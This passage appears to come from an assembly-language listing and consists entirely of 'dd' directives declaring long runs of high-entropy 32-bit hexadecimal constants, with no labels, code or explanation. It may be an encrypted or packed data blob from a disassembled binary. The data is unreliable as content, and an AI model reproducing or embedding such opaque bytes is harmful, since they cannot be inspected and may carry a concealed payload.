0BB05DD2h, 106F3C41h, 0E909081Bh dd 0E97202A5h, 5B49C40Ch, 12CAC413h, 0F03655F5h, 8765591Bh dd 5EF12731h, 0D1F62C2Eh, 5F198795h, 61CBE2CEh, 37E9E058h dd 25A98233h, 9190D5A9h, 28257F66h, 2EF8F032h, 0D99F589h dd 5D22F890h, 435B6BBBh, 1BF284B3h, 0E046D55Ah, 0E92E5780h dd 5989FBFEh, 68C4C128h, 20ABBED3h, 0B4380B12h, 51E324B9h dd 0AD1FBA19h, 57C01B2Ch, 5A816855h, 1438D525h, 784995ECh dd 0B800CE3Eh, 7DB748E8h, 3E00167h, 8E388D2Dh, 0D0387039h dd 5F0594C0h, 0B4298C6Fh, 0A7598C64h, 3C09B71Ah, 0F05BFD88h dd 0BF17094h, 0F0BFE9C5h, 0E5CAC1B3h, 2B5E4149h, 7D579501h dd 74F56FACh, 4811974h, 0F2DB20EAh, 0FB52E15Dh, 0A05F2192h dd 8C3E9158h, 60279D75h, 9AC7B003h, 5476734Eh, 110429F6h dd 0F9010C63h, 0DB57DAC4h, 338C51F3h, 997A1CBh, 0FA736E13h dd 0A1E6F31h, 0A730D129h, 47E16A2Ch, 0BD64ED2h, 2EC00100h dd 721ED7BDh, 0F48B673Ch, 0AE43F9DAh, 0E0FE120Ch, 0D709B98Ch dd 8050A43Dh, 9C0AF716h, 1843907Eh, 2CC37652h, 5D9139F5h dd 0C294ADBEh, 39B8578Ah, 1C4AEA68h, 32225D25h, 25BBE458h dd 8DD15202h, 98115225h, 0E933414Bh, 5288DD4Fh, 0E64150EAh dd 0BA5200B3h, 0A67A12D0h, 3CDE977h, 4F62E6E2h, 564CF65h dd 5C7A10C0h, 0FC6B7F13h, 24590072h, 0DE874E2Ah, 8D3D3F7h dd 1E09AD53h, 49AF6865h, 1B880E3h, 63C12C01h, 895BD829h dd 58254DAh, 0C2BC16E8h, 4A58FB7Bh, 0B4342EF9h, 950CC0E0h dd 4B267AC6h, 0E8B762AAh, 4BA5D083h, 0D6C9810h, 62AA6A95h dd 7629CA23h, 0B0B17A31h, 0D2033053h, 0ED7E492Ch, 0A089208h dd 8186E1C1h, 0EDF47637h, 8D1E6A29h, 80263F50h, 0D063153h dd 6908965Ah, 761A3B09h, 4B9B2703h, 81D3FDD9h, 9195EEB7h dd 133BF698h, 0C092878Ch dd 4C264BEBh, 0D146F562h, 0B75300B5h, 0EF3D80F6h, 0E5AB91D9h dd 0D3EBC507h, 4C7C890Ah, 1CACBC8Dh, 91543FDDh, 0D69FF6BCh dd 523DF08Bh, 221E37F6h, 70D73D02h, 0B4BE7540h, 0F46A7B5Ah dd 65CE6023h, 352CE0E6h, 1725187Bh, 9FF8F91Dh, 4BC50FA6h dd 0C4414EA9h, 3355FA5Ah, 79C3C232h, 0C9D4490Ah, 0BE3C242Fh dd 4AC217D6h, 83D71E38h, 56551E8h, 0E3325988h, 0F0016302h dd 0D604AFE9h, 0AE686131h, 46E38A56h, 0CC41512Ah, 0F7C4102Fh dd 4E7A1D9h, 6662F0AFh, 0D869AB5Ch, 7B1C18CCh, 5FE80C57h dd 0E0954E71h, 3B3B6B66h, 84452908h, 3A0BE911h, 0AC51D9B2h dd 4A28F1F7h, 9ECF8520h, 0FA87093Ah, 6581FFCh, 3D9F0807h dd 0E98BEA31h, 25C1D05Ch, 0FBECFB29h, 1AA84F30h, 945BDD21h dd 278D02A0h, 925E5067h, 57C4BF60h, 0E45D4B72h, 3E96141Fh dd 837B900h, 904122A1h, 8D290278h, 91E90528h, 0E925D9FCh dd 0DED1561Dh, 46CD183Ah, 0DAFA52FBh, 0FB61EEA2h, 0F26801ABh dd 0B0E83865h, 25B9BEADh, 0D4E99359h, 5668F0B1h, 2C8F4DE3h dd 74B0A405h, 7DA362D4h, 0F5981B12h, 80120AB1h, 9608C7C1h dd 303F06BDh, 0EA40B0F9h, 0ECD590FEh, 945DB0D3h, 0E65F13ADh dd 0FE37402Bh, 0E99C56C3h, 0BD73049Bh, 80C46037h, 325ACD0Ah dd 503ED00Dh, 2DC0C3B8h, 0B15102A4h, 5E82967h, 0C5890782h dd 0D2307544h, 42CFF136h, 45334A27h, 0C8AB5A17h, 2214D848h dd 49FB1BADh, 0DBB30745h, 607ECB80h, 0E3C0ACEBh, 64F3F203h dd 0E060CA5h, 5BDE04F4h, 965012F8h, 0F2169ACAh, 37E2768h dd 85149D71h, 0FECF1C95h, 2080E989h, 59C80112h, 1D929505h dd 2F119477h, 0D0E40166h, 2C68C040h, 70586036h, 5252B5E9h dd 44D71FF8h, 0D5010547h, 812ED85h, 64E76B1Dh, 53DE9C1Ah dd 0F368E098h, 9830145Eh, 9301CBBh, 0EDE94422h, 804123A4h dd 5CB43842h, 5C63458h, 3ACE32CCh, 3309D700h, 0B0296552h dd 87E09748h, 0E64D54E9h, 37C30778h, 0D84B4195h, 0BD92707h dd 214D749h, 50516883h, 5E580E56h, 5DD6D0F7h, 0BD698C4h dd 4BB57DE9h, 1FE3B1B2h, 9AB35300h, 0CF57D6A1h, 736875D8h dd 4CC3EEDh, 0B6520288h, 97E680C2h, 0E982D38Fh, 0B5AEF52Fh dd 0BF2008C8h, 7F5EB040h, 0BFF70F81h, 97893FE5h, 2C323AF8h dd 61744C54h, 273B0211h, 5C626B39h, 162D2DFCh, 244098D5h dd 8C5729A1h, 0A40B2A54h, 6AB6534Fh, 0A740EC9Dh, 0FD86FA8Bh dd 5D4E0940h, 270C8563h, 76455C4Bh, 52066804h, 6CC1B2ECh dd 8174F878h, 4814F1A4h, 76F2E961h, 295B0B40h, 8F503C38h dd 18304227h, 2E9D61A0h, 0A6265FE9h, 785D594Bh, 0D22501A7h dd 0F749F20Dh, 4ECC0220h, 0D873DDB4h, 362853CBh, 3727959Ah dd 0A8C94638h, 802D2C15h, 0C1EFCB28h, 0A03BAC1Eh, 31823B07h dd 4EEAA4B4h, 56E45374h, 0F9A5E54Ah, 0EAFEB1h, 46929354h dd 0C0516D82h, 3D57F437h, 3905343Dh, 8666C63Bh, 5113DFF2h dd 6DB5478Fh, 0E420B042h, 8B03486Ah, 0DD257E1Eh, 0D0C68053h dd 2937CF6Ah, 404FCE5Ch, 1ED25908h, 24E9B1A4h, 872DF142h dd 425A66D6h, 928328BAh, 0DF051580h, 3A2A06EDh, 0BEE056C1h dd 68C80F00h, 51326A25h, 0A0ED8812h, 2C7D7230h, 82495B88h dd 0BA5C835Ah, 11F66616h, 0A5F684h, 0C8FEECB0h, 4B807B2Ch dd 9EEBE27Ch, 5454ECD3h, 350460D6h, 4DF25562h, 5E05046Dh dd 0B312EA68h, 1C61497Eh, 0E6E58F59h, 0C1682F99h, 688BDD4Dh dd 3E79FB29h, 3B9E7B80h, 0E9DEF74Eh, 0B24DAD24h, 0EC956144h dd 0EF025CB3h, 493F0C01h, 0C7E085D7h, 25FC0813h, 4374E985h dd 72C4809Fh, 2E0F064Ch, 7C12C8EAh, 0F33BD3BDh, 0FE5C2D95h dd 68165A58h, 0E9F3CD80h, 46876431h, 0D95A12ECh, 392C7C41h dd 8B3015DDh, 5F91D2Dh, 2837024Eh, 1CE22EBFh, 0F6801748h dd 0EE5841B0h, 74514D2h, 0AA2DDE8Fh, 0B5243AB8h, 0DF300B0Eh dd 0E699802h, 62CB6071h, 33732D13h, 0BB80F179h, 700F27F7h dd 51C620E9h, 52A35B4Bh, 9792292Dh, 0BFA494FEh, 27525693h dd 9F9DCE52h, 262D792Dh, 89CB8E4h, 4CE018Bh, 0CFA83809h dd 0E6D15F09h, 4D04CD74h, 21F12C0Fh, 1EF0D2E1h, 0F0E912A1h dd 68FF3032h, 3C923B8Ch, 7A0C9A4Dh, 790E8117h, 0A0533DC2h dd 17BF57FAh, 25FE2822h, 701E0AFBh, 7F94994h, 11659C20h dd 35E050E9h, 666BF1FDh, 50AF2D15h, 0C5860D14h, 3F08D0F6h dd 4FF52F80h, 59E82B28h, 0E95004A9h, 5CE2A085h, 0B8E7801Eh dd 0E36A4E5Fh, 60DEB33h, 5887DACAh, 3CB7730Bh, 3F96FA28h dd 2D77BD4Bh, 6157EA5Dh, 0CC3AD56Eh, 18418DF9h, 4F6A0521h dd 0FF895FEAh, 595BE978h, 0FE104A8Bh, 3C584C01h, 35DB17DFh dd 744F9522h, 0FC6E650Dh, 79A8B57Ch, 0CF4F9449h, 77864541h dd 9FE91531h, 0C4FE1BFEh, 0B3F47960h, 0B268088Dh, 613D4AADh dd 9B28A224h, 0B6E6255Ah, 0ACED0980h, 0B397E55h, 515CEEDDh dd 6A4D5E6Bh, 2D200340h, 5CD2978h, 0B21164BFh, 0E8211EF3h dd 2CB723A5h, 7E0EBAC0h, 30DAA017h, 7E06A6EAh, 5A50D028h dd 0E95A04FEh, 0EF526C98h, 5562982Ah, 64CB5B40h, 0B2C3B536h dd 98097684h, 0D87EC808h, 288480B9h, 5AC7A66Eh, 585FF654h dd 7E4B2610h, 123998C0h, 0D6870D29h, 2108DAF7h, 91E1DE84h dd 0F6BE000Bh, 62D2D51h, 0FF16E18Bh, 1F22E912h, 8AD615A8h dd 6FA9457Bh, 90FACA28h, 3D0A243Fh, 44005B1Bh, 109D6850h dd 587278h, 0E16F230Dh, 4FA40534h, 86986379h, 30A98F58h dd 7D5EEE3Bh, 0E91509BFh, 5F76AF10h, 491949EEh, 1EA7C90h dd 3205D829h, 5C295A9Dh, 0B6A3946Ah, 2DD81392h, 380B8395h dd 3C1371EBh, 0F8328A12h, 85358006h, 0B826AD2Fh, 55050162h dd 51770ABDh, 8745206Fh, 89DC3F0Bh, 1578522Dh, 0B239A0E9h dd 1752FC84h, 9421A7A0h, 9EC1098Eh, 0C3FCCD44h, 625B6298h dd 8145B401h, 9E3CD7F5h, 3CB3874Bh, 3C5EE940h, 781DE516h dd 0D12DB3ECh, 52AC2E0h, 8349C7DCh, 2D5BFD8Bh, 43E55412h dd 6EAE984h, 2A020FA3h, 3158FA20h, 0EE2BB0C0h, 0DB897BB4h dd 0E4485630h, 0C9DAB803h, 0E02A7802h, 0C676CAF8h, 0CA0CA816h dd 47E9282Ch, 0B45D3C93h, 0B551AE13h, 0E3CD9D05h, 53C66E82h dd 0A776A414h, 0A2EB6D59h, 5CFA7A15h, 4F9297D5h, 0EE8457D5h dd 807ED816h, 2FDD1B4Fh, 0DD2B1D31h, 48039A2h, 2FDECEB3h dd 17733EF8h, 0B42C8BE8h, 0BA1C5261h, 1B401986h, 0B2E28142h dd 15942F4Bh, 526AC6C8h, 0DD981683h, 4F22F3FBh, 2DC50DB2h dd 0B88F40C3h, 5F25084Eh, 0B6B9D3B0h, 0CDBF8C49h, 36EB02BBh dd 0DBF778C1h, 0E69AF3D4h, 780E7F15h, 7A48FC0Bh, 431D0CEEh dd 5D5289E3h, 1DCBCBB4h, 8167B10Ah, 916FC1CEh, 1B472A19h dd 6B201A2Bh, 0B4C266E9h, 845C44CCh, 0D0B40BB2h, 58245E58h dd 860B4050h, 0F0EE52B8h, 71AB2E66h, 58B3320Ah, 8160B37Eh dd 0F441BFC6h, 9CA9A10Bh, 0F82AEEC0h, 33A116CAh, 0F2DD00FDh dd 6B39BC8Ah, 312D82BDh, 0FB47F0h, 7445BE56h, 12B3626Eh dd 0D468013Eh, 5E673861h, 7A6D182Bh, 2118DDD8h, 793A56AEh dd 15957D0Fh, 0C5ACD5E9h, 5C086800h, 55867E1h, 0B2241CEAh dd 82257CE6h, 0E02AB024h, 3E28B4DEh, 0C59753C6h, 183944F7h dd 20B15226h, 775AB0A5h, 9D51E924h, 83E538BEh, 9570466Ch dd 39C09440h, 27F609C8h, 466531CBh, 0A3AC74A6h, 3E97F327h dd 4A68E704h, 0CA139147h dd 0DA422AA6h, 40970BFEh, 0B73FCEC3h, 0D82716E5h, 20230475h dd 0F25F41DAh, 2E344B64h, 0C8BE66C1h, 78E668D0h, 88849411h dd 8F259AA5h, 0FCC6046Eh, 76C886A5h, 0C12B091Dh, 550107E3h dd 56B908E9h, 5701DE80h, 683CA65Bh, 0BF896C53h, 0B1B00E1Ah dd 7D8A49E1h, 6DB68C00h, 5D61449Eh, 0C57AAE0Eh, 0EF11AD41h dd 295F9C2Ah, 2424C75Ah, 402049B1h, 4AD7F02Fh, 0A961E450h dd 8230415Bh, 96F4482h, 1E39E965h, 0E74804F6h, 1B0BD282h dd 42BDDC09h, 924CF010h, 15928FF2h, 5BF93009h, 4AC4F880h dd 25908091h, 74012B7Dh, 7BB0508h, 846FFD31h, 0E81EAB88h dd 292BEC42h, 0C02C1FAh, 6302BF01h, 75615AD0h, 8404D164h dd 44BD1C2Fh, 0AB58E748h, 0C14BA20Ah, 9928041Dh, 493FB712h dd 56BC51C0h, 490A4C2Ch, 0E972A44Ah, 9BB1E1FAh, 50807CA4h dd 35716857h, 5F5102A0h, 0F9E9F787h, 2C3B6FF6h, 0CD036AD5h dd 0EA79D02Eh, 939DF84Ch, 0AAE9E2BBh, 0F61DCFDEh, 5552C9ADh dd 0CF403976h, 0A45B57Bh, 71278F1Dh, 0DCE9E2C0h, 0E6969DD6h dd 710B5B6h, 0D80113F2h, 106D5C05h, 4C231E88h, 89DFD8CFh dd 12762EE2h, 0EC80F060h, 8892B022h, 1333BEE5h, 404A451Eh dd 1B91F6ABh, 0CC12C44h, 77167B21h, 55AB730h, 0E96D060Ch dd 0B951921Eh, 23CFB5C0h, 909CBCF4h, 981A292Ch, 0D69A5F5Ah dd 8B5D09F5h, 0DA265E89h, 47CA8419h, 0B8506B61h, 7394F98h dd 0A0888D81h, 812E2649h, 259B763Fh, 0D964208Ch, 80AF00B5h dd 3B30E4C6h, 0C51D5AF5h, 0E9EB8511h, 70BAB132h, 5B7C669Ah dd 0A94EC37Ch, 58F417F4h, 0B7C0C065h, 86DFF690h, 0DA60D774h dd 0FE536608h, 0D301FE4Ch, 3D1BAC42h, 2F445CCFh, 95504411h dd 0A1658F8Fh, 7F3DBF39h, 0D5D245FDh, 4987C90h, 55D697Bh dd 0B62265C2h, 0F901C490h, 0C8BF0757h, 0D20C7208h, 58042894h dd 0D2A4EBF8h, 324252D7h, 0DBDE8D41h, 0D344C2CAh, 144ACCF8h dd 58563BA0h, 0C102A5AAh, 55694F5Ch, 8A024D6h, 0ABB35A4Ah dd 21C4512Dh, 3FD90C5Bh, 0BFC9C53Bh, 6A09E865h, 0FC6742FBh dd 2D1C21DCh, 6816F766h, 7CF321A7h, 0D269F101h, 20EFC116h dd 0DD9CC702h, 910312B2h, 5DAD8B3h, 0E178255h, 565D5401h dd 2FBEF9h, 3951BB5Ch, 73F43F01h, 0D10E409Ch, 0B883E6EAh dd 8ED2655h, 0B3221323h, 15E41393h, 18C49CBCh, 6D1D8288h dd 0C103A45Ah, 5A821483h, 260E0449h, 8403A079h, 0B82CBA68h dd 0E9D01721h, 0F4A4C565h, 97C24908h, 6008E5C1h, 17B83C4Bh dd 0A04D9074h, 0C90CCD0Dh, 1E2AC64Ch, 0EAFA03C0h, 1A8EE98Fh dd 51503A01h, 8745E868h, 0E7EE868h, 0D55A14C2h, 0D0D770AEh dd 6E63133Bh, 0B1487161h, 4DE13A69h, 2E76970h, 0E90F4A2Ch dd 0A5923FC9h, 0DF584774h, 0BBC082E5h, 3D2E546Ch, 0F681C35Ah dd 0E5DEAB9Fh, 0B2E3052Ah, 1EB152EAh, 0B03F13E7h, 0D39C5940h dd 2D1CBD60h, 966A650Bh, 0E9060018h, 32F91E71h, 0C1CF0150h dd 52EA08A3h, 5B02F558h, 0DDBCC405h, 2625DC4Dh, 0E0E893DBh dd 0E67A88A1h, 9E6031F0h, 3E2C07Bh, 67F22C80h, 0F22D19ADh dd 504F8249h, 82286AB0h, 293B95F4h, 47B74270h, 0C7D92D4Ah dd 1A6AAB85h, 9CFA205h, 683C3CABh, 5113B225h, 0B89AB432h dd 2BE0DE3Ah, 3522311Eh, 975605BEh, 51214017h, 33053CB9h dd 90543E7Eh, 0D909298Eh, 0EC11885Bh, 0CB96EA11h, 0BD00526Ch dd 168B0AD0h, 9CC063BDh, 12921981h, 9877668h, 9457A4C0h dd 64C1817Bh, 0F9F601D8h, 5A4D8262h, 4A99F396h, 0E912B8B3h dd 0B465614h, 38E2CC42h, 9C519CD5h, 60D1253Dh, 92D06C2h dd 0F32A31C0h, 0CA48969Ah, 3AF2007Eh, 0F7059C33h, 4EE973D2h dd 0D16E21A7h, 55E940EEh, 56055F3Bh, 4117E946h, 62C4CBA8h dd 4AC00D1h, 0FB75371h, 44F78072h, 0E2E9BC4h, 0D147CA51h dd 1143B981h, 0EDE96624h, 18F1E3ACh, 65B02D41h, 4097B22Fh dd 80F9BCD1h, 0BFEE5B54h, 0E28A0A95h, 2B17B10Fh, 81EA20E5h dd 93B0FF1h, 0C8293557h, 0C9402993h, 671393ACh, 2A0C316Ch dd 0A0C8C31Eh, 1FFEEB82h, 8939473Ah, 237E4A77h, 6FDA36BEh dd 5C1640F6h, 51575317h, 0C29ADEE2h, 3313125Ch, 37494E81h dd 95D4C204h, 0D2FC5409h, 1912F8Bh, 0D7A82CDEh, 0DA39A0D2h dd 5BD83038h, 231382D4h, 2C2A427Eh, 0CF0984BDh, 80861CCBh dd 693CE780h, 0F4585D36h, 0E92BCC4Bh, 51147532h, 0D21EE0DAh dd 13F52856h, 0AC6E54B5h, 10594F66h, 5F70EF04h, 0A1CC06D8h dd 0B70F2094h, 78FD300Dh, 82962636h, 0B4FC8910h, 595A5882h dd 1F4A416Ch, 0FD36D6D6h, 205A0D2Bh, 0D1F0F5FEh, 0C9F9151h dd 5889C8B1h, 839F0BB7h, 0D11E88D3h, 0B8F4505Dh, 0E9251882h dd 815F6FD5h, 1FE7EF01h, 0FA895E63h, 896E01E5h, 70306E25h dd 49468D1Dh, 0F60F754Eh, 23098EFEh, 6D31CA8Dh, 9A278Eh dd 0FDB0902h, 0FC702785h, 22208925h, 815CF9DDh, 0D402E962h dd 5C527C3h, 0C548022Dh, 36BA5539h, 9C100455h, 0A82517AEh dd 0EC87B2FDh, 9205A025h, 0B4D7483Dh, 1E3E1910h, 87B25068h dd 1C03507Ah, 0CF65ED80h, 0A86C76C2h, 0CC9D5421h, 0B88398D5h dd 0EAE5BCDCh, 0E3021760h, 43E909D9h, 0C15729Eh, 3A6C383Fh dd 650B760Ch, 7017B30h, 7C4B4810h, 0CA5C72B9h, 0EA89508h dd 3EFC166h, 9CFDA72Ah, 0FD42458h, 8A5D404h, 8E813749h dd 0ED5AC349h, 2830340Bh, 0C96206C7h, 0C606A171h, 308D9C7Ah dd 0F4E59F5Eh, 1F911D20h, 7D40D07Dh, 8927A0DDh, 313FD296h dd 6534A5E8h, 0C5A017DEh, 927AF84Ah, 0C4208E8Dh, 0D18688Bh dd 0B4AA641Dh, 585AC6EFh, 8FC19C4h, 5529A35Ah, 0C13B220Dh dd 43166852h, 85CB4D93h, 0B9B1907Bh, 36613835h, 2157790Ch dd 0BA0A3920h, 9C9D9AD5h, 5A5462A9h, 5CC5CCD3h, 85810A24h dd 758510E9h, 0AD0A4A68h, 0F5A697E5h, 34419912h, 0B6DAC276h dd 42C3D84Ah, 93520FD4h, 0DDF7E417h, 0C0DA2A7Bh, 528837F5h dd 0F028B45Bh, 0CD012998h, 6A40ED81h, 0EC30329Dh, 1BDA0FEAh dd 0B4FD688Fh, 0E90803BAh, 0E5241911h, 654F55EBh, 61520EFEh dd 0EEB0FC05h, 211761B7h, 5ECBF947h, 6809EF8Bh, 6AC51132h dd 0F0715E16h, 2801DBABh, 7B8231F0h, 0F988D581h, 0C4C45338h dd 920AE327h, 78E0A112h, 4A6E0BB9h, 648FD0E0h, 93D71D84h dd 0BC03EB47h, 1A38A4F3h, 6D0C0067h, 89414736h, 57005BDDh dd 930CEE68h, 964AE90Ah, 495E1305h, 294557Ch, 7D4AE482h dd 0C61A0B5Dh, 200992DEh, 6CB7B308h, 917F3456h, 0C54AB816h dd 0F361F828h, 356EC330h, 25300896h, 482560ACh, 58262E35h dd 0F600C3C8h, 0AC5A6207h, 0E8B8F501h, 5422E34Bh, 2221C145h dd 0A1934D2Ch, 0F7F9CCC1h, 1308D76Ch, 58C89F58h, 42D39337h dd 0CB299530h, 976EB559h, 0E93A3109h, 2E1B044Ch, 3BF85B09h dd 29F31A9Dh, 0D5EF878Ah, 813D3400h, 13DFB0CBh, 44B1C95h dd 0A8B16F0Dh, 6664C285h, 0E591C089h, 51AC090h, 4F931FB0h dd 780B01EAh, 0FE21255Fh, 0E7340B4Bh, 0E5C295CAh, 79EB9CF6h dd 17C4A6F0h, 0BB40245Bh, 0F2F87012h, 0C7A5C2A4h, 2849B400h dd 3FBFB0E7h, 4F7B252h, 0FA885AD7h, 0F10AF5Bh, 0FE14ACFh dd 0A035D242h, 0BD2DD8D6h, 9F492525h, 34BE7BD0h, 16C9BA50h dd 389C42h, 98646318h, 78BC0168h, 0F1BA0820h, 79028625h dd 9395BEC0h, 5873271Bh, 972008E2h, 0C9B52CFEh, 2E64D1F1h dd 1FD94B87h, 0A20ED779h dd 38FE8445h, 0C5830012h, 114946A4h, 17B242F8h, 0AF986662h dd 59AA7204h, 91513FDCh, 0F624136Fh, 0D4292431h, 83D67E8Dh dd 665C108Dh, 83BAD0B5h, 0F25A86E1h, 170A23F8h, 0F75DCBCAh dd 927F7D16h, 8AC08331h, 694C231h, 0B84A06D0h, 0F5E9160Eh dd 0A5B7EB44h, 0BD929C7h, 0C9E874B1h, 0A52C3900h, 9B57CE9h dd 818B59A9h, 0CF800BB7h, 46EFCC1Ah, 79D36814h, 0DFB6CFB5h dd 28A7F640h, 0D2B4E9F7h, 9722AB59h, 9296EB4Eh, 606C5577h dd 4102CAB5h, 476B1EADh, 3328C119h, 0A12B450h, 2D0058E3h dd 80C9FE95h, 26D860F1h, 0C63DE9DAh, 0F09D7792h, 25700BE4h dd 5F5BD801h, 7077E909h, 0AD662892h, 68D80A91h, 0BE631267h dd 419B2FF9h, 0C020B0FBh, 0E3E4EA4Ah, 570F40A8h, 65DCBF07h dd 0A1B244E8h, 0A62EFEC7h, 11361942h, 78422452h, 0DD30465Ah dd 64B712B2h, 249960Dh, 4402C183h, 0F870E107h, 0D0A95B29h dd 0C01E6611h, 0DF0C1D60h, 0BF775E06h, 2F2D9361h, 0D0946E94h dd 4E9537C1h, 0D641683Eh, 5660099Dh, 0F28FD16Fh, 0C9531E7h dd 682A9809h, 0CD2E4A07h, 6D4F6B37h, 1BE829E9h, 0A43CC128h dd 0D3B574h, 72B95143h, 8179364Eh, 1506E107h, 0A1697610h dd 31F00EDDh, 0B601B730h, 54534290h, 58C93054h, 0B0CE95B0h dd 0A68DE917h, 2705AEA9h, 0DC5FF84Fh, 435BEF23h, 2A6813DCh dd 26685986h, 0E50DD388h, 0B6B495A2h, 58C71748h, 4EE97B8Ch dd 0F8FC1649h, 8308D345h, 8DFC42ABh, 2F19DE09h, 68120394h dd 18F36F7Ah, 86628B07h, 29C3D351h, 0DB226916h, 7AD80EA3h dd 68005556h, 30A40D3Fh, 0CE8EC3E9h, 13D3AD30h, 0A4BAFCCBh dd 1754D016h, 70CD0476h, 1A807481h, 5E4E0135h, 75C6C107h dd 0F8B154E4h, 5840008Eh, 21CE8172h, 7869254Fh, 0B9CBC54Bh dd 60324981h, 2E0177D3h, 0F389A2B7h, 167E72E9h, 0F481BD13h dd 395EB880h, 26E9FA23h, 0A5B0D5AAh, 0F712AD90h, 8E5EC695h dd 959420DCh, 75E7095h, 3B2FDD25h, 0B1A7D45Bh, 686F6089h dd 980ECC2Dh, 254119AAh, 0FA5E4E9Dh, 5060698h, 83E73CD1h dd 8481011Fh, 0EF2C58A9h, 10429301h, 0D5F47F88h, 28FDE65Ah dd 0BC0BED81h, 0B5217E8h, 34522E8Eh, 482BF204h, 0DEC06279h dd 0E8BD5502h, 3F292E76h, 0F0051260h, 0D30B6D25h, 0E171E901h dd 0CC305A7Bh, 38CC9C25h, 9E7F55CCh, 0C131048Dh, 8014BB58h dd 392409B1h, 0F70F898h, 0C151FDEh, 95F001C9h, 0F783494h dd 0A0B0B8AFh, 808CA359h, 8117C2BFh, 0E8F8262Bh, 160A1450h dd 0A81CB25Fh, 5066562h, 3FED0A16h, 6FE6E91Ah, 5C2AA55Ah dd 0E304FF20h, 0FD014E7h, 4D1989BCh, 30906DA1h, 4F7B3BF1h dd 1BBB04FAh, 2903C92Fh, 0A6632B19h, 5DB71348h, 83412C1h dd 0E228C9D3h, 575EBE0Fh, 0ACF26461h, 176CBBC8h, 0C51E86F9h dd 1D16EB9Eh, 0F8D2F1ADh, 0FF66A124h, 0D8E4D6Eh, 58013C77h dd 149E1952h, 9DA6C293h, 0AC58A534h, 9DB100BDh, 0A872E668h dd 0B016B272h, 86130681h, 8D2F6D1h, 0C0EC8050h, 1167BE5h dd 1CAF0984h, 0C8FEC0Ch, 0C6CFBAE4h, 8552C0Fh, 0B9F4641Ch dd 68C22AB8h, 0D87E10F7h, 28315D69h, 33A2281Eh, 7B8AF228h dd 0D0823006h, 35AFCE5Dh, 9F6F072h, 8C52405Ah, 0F80EF01h dd 5BF51791h, 414076Fh, 0F1CC75BAh, 43263ED2h, 4A58B00Bh dd 0F15A74AFh, 80CB2A94h, 680B9C49h, 4366305Fh, 4BD068F9h dd 0A01270F6h, 0C4DCE898h, 259903B9h, 0FF40DC39h, 58041265h dd 4112AD45h, 1132F808h, 0A730063Eh, 0EB0AD35Ah, 0EC8488CBh dd 3906D264h, 7E98E95h, 5101BFC7h, 0DD62B36Fh, 0E32C1612h dd 0B3530700h, 2ED3F622h, 1C7BCBFEh, 0CFBDFA39h, 0F305DB3Ch dd 9053E9C2h, 69B70505h, 8744833Ah, 7F980837h, 2EE9F0D1h dd 0AC5801F7h, 0D828742Ch, 0C3F63851h, 1C93B3E9h, 0E5DF691h dd 0EEC73D02h, 0F2874074h, 0F74D8957h, 9F285F9Dh, 2F621635h dd 0C5120966h, 19D1ED6h, 0A0D5E98Bh, 0C456B939h, 7CAC7DC1h dd 1E72FCDh, 0D0242952h, 92121FEFh, 68450B5Eh, 0DC497CA9h dd 516E2010h, 2FB0F1B5h, 927A3036h, 4441B6FEh, 0FA1BC20h dd 423E4F34h, 0D55A9194h, 1C460006h, 81504766h, 7261C107h dd 0A06C7D94h, 933D30D6h, 0DB0EDC18h, 0CA890709h, 308EF659h dd 4C2DA73Ch, 4CB96C48h, 1E10767h, 4BF1670h, 62EF34CEh dd 994AD55Fh, 233E3BC1h, 71924C31h, 37596413h, 6C4B981Dh dd 817FF6F4h, 3A0297EFh, 6C807E40h, 673963C2h, 0C29F1A3Ch dd 34C00DA0h, 0FF732267h, 0EAF2014Eh, 0B15A56CCh, 69296A1Ch dd 6FB97C97h, 7C47E54Fh, 0F8731045h, 0FF174650h, 881B8104h dd 7814FD02h, 10BB00CFh, 89039D6Eh, 0D45B7BD8h, 0DC055A06h dd 0C655C627h, 880A27Ch, 0CCB2D8E9h, 7D0ECC9Fh, 0A5FA24CBh dd 5AD18B6Fh, 64C94ED4h, 0EF6648F6h, 6DE98706h, 5A7C3089h dd 0DE027AF1h, 5C76C680h, 0DDA4C6F3h, 7C12B080h, 4028B125h dd 81B0F6A3h, 72A52052h, 0F2DA8832h, 12D45474h, 0AEE004Ah dd 57283176h, 5CFAB4C0h, 0E8BF151Ah, 86A8515Ah, 17F6CB6Fh dd 70E08CE9h, 60380FBEh, 0E55C7F57h, 932908h, 790A6BC2h dd 62FF2142h, 0F15A2F82h, 0EBE9D06Ah, 0BDC28860h, 7AF52C19h dd 308F491Ah, 0F6E6624h, 15495EB2h, 0E0C079A9h, 737B5027h dd 3AF47E2Dh, 685A4858h, 0E6374E8Dh, 0AD531299h, 2712A013h dd 0F452EF49h, 0AF7F4FF0h, 2050E80Bh, 63BB5303h, 0F2210D54h dd 2F117C9Dh, 0E8299898h, 28C47B97h, 25299E9Fh, 0D38B10E5h dd 45B1E989h, 0E3022479h, 6851AC0h, 0FAE80401h, 0BEAA870h dd 505E3ED0h, 42C259E1h, 56D95B08h, 21FF6861h, 0BE1E352Bh dd 7FE9F347h, 97185B59h, 716095Eh, 2A02357Eh, 5D522532h dd 2BFAE399h, 1EF1EB4h, 857E588Eh, 0CC5FF931h, 682559C8h dd 0C0CCD6C3h, 5BF2253Ah, 0CB309490h, 8EEE3A6h, 808C6310h dd 73B8D3CEh, 0E9175769h, 0B9BCC09Ch, 6CEA5DA3h, 0BA94BBD0h dd 0F30CDB84h, 0C7C3DAC0h, 20CD3F95h, 653C035Ch, 67BF5A40h dd 5E1AAD8Fh, 9EFEEE29h, 0B3314C7Bh, 317C348Bh, 4FA07927h dd 0C8EADDC4h, 0D27FF7E6h, 427AECE9h, 0A3B954CAh, 0F1D90143h dd 0E5305929h, 8034C7FDh, 809CFC2h, 0AD4873F0h, 8CA54F36h dd 3898842Ah, 3324E954h, 52978FC2h, 5E36C209h, 95007286h dd 9E78C885h, 0E9D9891Fh, 21B3DB96h, 0A30EE413h, 66AA126Fh dd 0F6784E04h, 901EA4h, 2527D769h, 20C70E0Fh, 6308BB5h dd 824FA472h, 200BE4B2h, 4A908702h, 2D9CB748h, 8121E089h dd 921BDDE0h, 2993816Ah, 9F6720F2h, 74B72012h, 86E1F606h dd 0F90F9D1Ch, 0AF3DB104h, 0B57CC48Ch, 0F21E8DEAh, 85BA959Fh dd 0E19FE95Ch, 0D7C46BE1h, 46A8C882h, 4813983Ah, 938761B0h dd 31E84044h, 9245EF2h, 0F6008CD6h, 9A7E5B68h, 448949E9h dd 0F1F38717h, 0D881D104h, 6D056C28h, 0E21EE9A5h, 7FB29952h dd 9BFAA84h, 5BAE552Dh, 0C46ECBA7h, 2810AA10h, 25904807h dd 757130C1h, 63599E13h, 59102BAFh, 0F458A79Eh, 0B77D45Fh dd 